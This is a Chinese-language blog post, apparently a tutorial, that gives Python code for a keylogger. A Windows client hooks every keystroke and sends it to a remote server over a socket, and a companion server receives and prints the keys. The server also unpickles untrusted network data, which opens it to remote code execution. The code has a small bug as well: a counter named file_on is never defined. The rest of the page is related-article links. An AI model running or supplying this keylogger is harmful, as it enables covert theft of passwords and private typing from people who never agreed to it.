python实现监听键盘


Posted in Python onApril 26, 2021

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

python实现监听键盘

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python自动化构建工具scons使用入门笔记
Mar 10 Python
在Django的上下文中设置变量的方法
Jul 20 Python
Python中取整的几种方法小结
Jan 06 Python
Python利用turtle库绘制彩虹代码示例
Dec 20 Python
pycharm设置注释颜色的方法
May 23 Python
通过python顺序修改文件名字的方法
Jul 11 Python
python实现flappy bird小游戏
Dec 24 Python
Python程序包的构建和发布过程示例详解
Jun 09 Python
用django-allauth实现第三方登录的示例代码
Jun 24 Python
Python包,__init__.py功能与用法分析
Jan 07 Python
浅谈Python响应式类库RxPy
Jun 14 Python
python字符串的一些常见实用操作
Apr 06 Python
python如何做代码性能分析
Apr 26 #Python
Python字符串对齐方法使用(ljust()、rjust()和center())
Apr 26 #Python
python如何进行基准测试
Apr 26 #Python
python实现简单的名片管理系统
Python实战之实现康威生命游戏
Python 制作自动化翻译工具
教你用Python写一个植物大战僵尸小游戏
You might like
php采用curl实现伪造IP来源的方法
2014/11/21 PHP
利用PHP实现开心消消乐的算法示例
2017/10/12 PHP
php实现的三个常用加密解密功能函数示例
2017/11/06 PHP
php strftime函数的详细用法
2018/06/21 PHP
PHP7.0连接DB操作实例分析【基于mysqli】
2019/09/26 PHP
新浪中用来显示flash的函数
2007/04/02 Javascript
javascript 面向对象全新理练之继承与多态
2009/12/03 Javascript
jQuery 下拉列表 二级联动插件分享
2012/03/29 Javascript
JQuery 中几个类选择器的简单使用介绍
2013/03/14 Javascript
javascript实用小函数使用介绍
2013/11/11 Javascript
jQuery照片伸缩效果不影响其他元素的布局
2014/05/09 Javascript
基于 Docker 开发 NodeJS 应用
2014/07/30 NodeJs
JQuery鼠标移到小图显示大图效果的方法
2015/06/10 Javascript
关于JS中prototype的理解
2015/09/07 Javascript
利用原生JS自动生成文章标题树的实例
2016/08/22 Javascript
JS常用算法实现代码
2016/11/14 Javascript
vue日期组件 支持vue1.0和2.0
2017/01/09 Javascript
BootStrap中的Fontawesome 图标
2017/05/25 Javascript
BootStrap给table表格的每一行添加一个按钮事件
2017/09/07 Javascript
vue3.0 CLI - 2.6 - 组件的复用入门教程
2018/09/14 Javascript
jsonp跨域获取百度联想词的方法分析
2019/05/13 Javascript
微信小程序开发之获取用户手机号码(php接口解密)
2020/05/17 Javascript
JS常见内存泄漏及解决方案解析
2020/05/30 Javascript
解决vue scoped html样式无效的问题
2020/10/24 Javascript
python2.7 json 转换日期的处理的示例
2018/03/07 Python
解决python opencv无法显示图片的问题
2018/10/28 Python
python如何将两个txt文件内容合并
2019/10/18 Python
pytorch实现focal loss的两种方式小结
2020/01/02 Python
python3 字符串知识点学习笔记
2020/02/08 Python
python 8种必备的gui库
2020/08/27 Python
使用简单的CSS3属性实现炫酷读者墙效果
2014/01/08 HTML / CSS
H5 canvas中width、height和style的宽高区别详解
2018/11/02 HTML / CSS
Omio意大利:全欧洲低价大巴、火车和航班搜索和比价
2017/12/02 全球购物
单位介绍信范文
2014/01/18 职场文书
如何撰写出一份完美的商业计划书?
2019/07/12 职场文书
详解Django的MVT设计模式
2021/04/29 Python